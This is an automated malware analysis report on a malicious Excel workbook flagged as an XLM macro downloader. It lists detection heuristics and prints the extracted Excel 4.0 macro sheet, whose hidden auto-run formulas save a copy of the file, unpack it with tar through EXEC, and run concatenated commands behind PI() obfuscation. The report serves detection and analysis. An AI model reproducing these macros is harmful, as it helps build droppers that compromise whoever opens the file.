Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 86df6975c8bb9f56…

MALICIOUS

Office (OOXML)

593.3 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-05-26
MD5: 313dab5cab4b337f62fb3cf5673b8dc1 SHA-1: e41d516c5235c4e98966e73a0a789936e522bee6 SHA-256: 86df6975c8bb9f5610e658f91a67388f49d17355fcc3d43ea4db59b1f5ce345b
250 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

This Excel document contains Excel 4.0 macros, indicated by the 'OOXML_XLM_MACROSHEET' and 'OOXML_XLM_AUTOOPEN_DEFINEDNAME' heuristics. The macros utilize dangerous functions like EXEC and CALL, which are often used to download and execute malicious payloads. The presence of these functions and the ClamAV detection strongly suggest a downloader functionality.

Heuristics 6

  • ClamAV: Xls.Downloader.GreenEnable052-9863734-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.GreenEnable052-9863734-1
  • Excel 4.0 macro sheet (1 sheet(s)) critical 2 related findings OOXML_XLM_MACROSHEET
    Spreadsheet contains an Excel 4.0 (XLM) macro sheet — XLM was a major Office malware vector during 2020-2022 and evaded many VBA-focused controls before Microsoft tightened XLM defaults. Even legitimate XLM use is rare in modern workbooks.
  • Excel 4.0 Auto_Open defined name critical OOXML_XLM_AUTOOPEN_DEFINEDNAME
    Workbook defines _xlnm.Auto_Open or _xlnm.Auto_Close while containing an XLM macro sheet. This is the OOXML/XLSB auto-execution shape for Excel 4.0 macros.
  • Dangerous XLM formula APIs: EXEC, HALT critical OOXML_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet uses formula APIs that call directly into Win32 (=CALL/=EXEC/=REGISTER/=FORMULA). These are the primitives used to download payloads, write files, and start processes from an XLM macro without invoking VBA.
  • Hidden worksheet (hidden) low OOXML_HIDDEN_SHEET
    Excel workbook contains 2 hidden sheet(s) — hidden sheets are commonly used to conceal macro code, staging data, or intermediate payload construction
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OOXML body / shared strings)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/spreadsheetml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/excel/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2009/9/acIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2014/revisionIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2015/revision2In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision3In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/spreadsheetml/2016/revision6In document text (OOXML body / shared strings)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_sheet_00.xml xlm-macrosheet OOXML XLM macro sheet: xl/macrosheets/sheet1.xml 2472 bytes
SHA-256: ff1734ec2098b716792e5cfacd8b495899f0f9820516f5553a76fc028d540863
Preview script
First 1,000 lines of the extracted script
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<xm:macrosheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:xm="http://schemas.microsoft.com/office/excel/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships" xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006" mc:Ignorable="x14ac xr xr2 xr3 xr6" xmlns:x14ac="http://schemas.microsoft.com/office/spreadsheetml/2009/9/ac" xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision" xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2" xmlns:xr3="http://schemas.microsoft.com/office/spreadsheetml/2016/revision3" xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6" xr6:uid="{00000000-0001-0000-0200-000000000000}"><dimension ref="AG701:AO716"/><sheetViews><sheetView showFormulas="1" workbookViewId="0"/></sheetViews><sheetFormatPr defaultColWidth="10.42578125" defaultRowHeight="15" x14ac:dyDescent="0.25"/><cols><col min="1" max="32" width="10.42578125" style="3"/><col min="33" max="33" width="10.42578125" style="3" customWidth="1"/><col min="34" max="36" width="10.42578125" style="2" hidden="1" customWidth="1"/><col min="37" max="37" width="11.7109375" style="2" hidden="1" customWidth="1"/><col min="38" max="41" width="10.42578125" style="2" hidden="1" customWidth="1"/><col min="42" max="16384" width="10.42578125" style="3"/></cols><sheetData><row r="701" spans="37:38" x14ac:dyDescent="0.25"><c r="AK701" s="2" t="b"><f>SAVE.COPY.AS("..\Nioka.meposv")</f><v>0</v></c><c r="AL701" s="2" t="s"><v>2</v></c></row><row r="702" spans="37:38" x14ac:dyDescent="0.25"><c r="AL702" s="2" t="s"><v>0</v></c></row><row r="703" spans="37:38" x14ac:dyDescent="0.25"><c r="AK703" s="2" t="b"><f>EXEC("tar -xf ..\Nioka.meposv -C ..\")=PI()=PI()=PI()</f><v>0</v></c><c r="AL703" s="2" t="s"><v>1</v></c></row><row r="706" spans="37:37" x14ac:dyDescent="0.25"><c r="AK706" s="2" t="b"><f>WAIT(NOW()+"00:00:06")</f><v>0</v></c></row><row r="711" spans="37:37" x14ac:dyDescent="0.25"><c r="AK711" s="2" t="b"><f>PI()=PI()=PI()=EXEC(AL701&amp;AL702&amp;AL703)=PI()=PI()=PI()</f><v>0</v></c></row><row r="716" spans="37:37" x14ac:dyDescent="0.25"><c r="AK716" s="2" t="b"><f>HALT()</f><v>0</v></c></row></sheetData><pageMargins left="0.7" right="0.7" top="0.75" bottom="0.75" header="0.3" footer="0.3"/><pageSetup paperSize="9" orientation="portrait" r:id="rId1"/></xm:macrosheet>

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